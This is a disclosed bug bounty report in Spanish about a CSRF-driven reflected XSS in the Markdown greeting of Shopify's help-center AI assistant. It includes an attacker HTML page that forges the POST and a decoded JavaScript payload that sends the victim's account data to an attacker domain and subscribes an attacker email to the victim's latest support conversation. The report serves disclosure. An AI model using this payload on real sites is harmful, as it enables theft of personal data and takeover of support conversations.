Resumen
El centro de ayuda de Shopify (help.shopify.com) incluye un asistente de IA que puede responder con Markdown para dar formato a sus mensajes. Los usuarios no pueden usar Markdown, pero el saludo inicial del asistente sí se mostraba con ese formato, y su texto podía venir de fuera.
La ruta de búsqueda aceptaba por POST un parámetro greeting que se guardaba en la sesión del visitante y aparecía después como saludo del asistente. La petición no tenía protección contra CSRF, así que cualquier web podía enviarla en nombre de la víctima. Bastaba con meter en greeting una imagen Markdown cuyo destino fuese una URL javascript:. Al pulsar el enlace generado, el código se ejecutaba en el contexto de help.shopify.com con la sesión iniciada de la víctima.
En conjunto es un XSS reflejado (CWE-79) que se dispara gracias a un CSRF en:
POST https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search
El reporte se envió el 16 de mayo de 2024 y se divulgó el 18 de junio de 2026. Shopify lo calificó como severidad media y pagó una recompensa, cuyo importe no se ha hecho público.
Pasos de reproducción
- Inicia sesión en
https://help.shopify.com. El ataque necesita una sesión autenticada. - Con esa sesión abierta, visita una página controlada por el atacante con el código de abajo. La página manda primero un formulario POST que fija el saludo y, dos segundos después, un GET a la búsqueda para que el navegador acabe en el centro de ayuda:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shopify Search Form</title>
</head>
<body>
Please hold...
<form id="post-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="POST">
<input type="hidden" name="query" value="Is this XSS?">
<input type="hidden" name="greeting" value="))">
</form>
<form id="get-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="GET">
<input type="hidden" name="q" value="Is this XSS?">
</form>
<script>
document.getElementById('post-form').submit();
setTimeout(() => {
document.getElementById('get-form').submit();
},2000);
</script>
</body>
</html>
- El navegador termina en
https://help.shopify.com/en/search/{some-token-here}. El saludo del asistente muestra una imagen Markdown rota cuyo texto alternativo invita a hacer clic. - El enlace se abre con
target=_blank, así que para que eljavascript:se ejecute hay que pulsarlo con la rueda del ratón. En ese momento, en la pestaña de red de las herramientas de desarrollo se ven las peticiones del payload. - Comprueba que los datos personales de la cuenta se han enviado al dominio del atacante.
- Comprueba que se ha añadido una dirección de correo del atacante como suscriptora de tu última conversación de soporte.
El valor de atob(...) es el payload en base64. Una vez decodificado, hace más o menos esto:
// At worst, if no support conversation exists, we leak victims' PII to attacker's controlled domain
fetch(`//[REDACTADO]?${JSON.stringify(window.__remixContext.state.loaderData.root.userInfo)}`);
// Fetch victim's last support inbox conversation.
fetch("/messages/graphql", {
"headers": {
"content-type": "application/json",
"x-shopify-react-xhr": "1"
},
"body": `{\"variables\":{},\"query\":\"query convs { conversations(last: 1) { edges { node { id } } } }\"}`,
"method": "POST"
})
.then(response => response.text())
.then(data => {
// Try to subscribe to the victim's conversation which will send an email to the attacker and allow him to join the conversation
const cid = JSON.parse(data).data.conversations.edges[0].node.id ?? null;
fetch("/messages/graphql", {
"headers": {
"content-type": "application/json",
"x-shopify-react-xhr": "1"
},
"body": `{\"variables\":{},\"query\":\"mutation subscriberCreate { subscriberCreate(conversationId: \\\\"${cid}\\\\", email: \\\\"[REDACTADO]\\\\") { __typename }}\"}`,
"method": "POST"
});
});
Impacto
Basta con que la víctima, con la sesión iniciada, visite la página del atacante y pulse el enlace del saludo. A partir de ahí el atacante ejecuta JavaScript en help.shopify.com con la sesión de la víctima. La prueba de concepto lo usa para dos cosas:
- Robar datos personales: lee
window.__remixContext.state.loaderData.root.userInfoy lo manda a un dominio del atacante. - Entrar en conversaciones de soporte: con la API GraphQL
/messages/graphqlobtiene la última conversación de la víctima y llama a la mutaciónsubscriberCreatepara suscribir el correo del atacante. Así el atacante recibe avisos por email y puede unirse a esa conversación.
La explotación tiene un límite: la víctima tiene que pulsar el enlace, y además con la rueda del ratón, porque se abre con target=_blank.
Remediación
Shopify eliminó la vía por la que el parámetro greeting, controlado por el atacante, llegaba al saludo del asistente.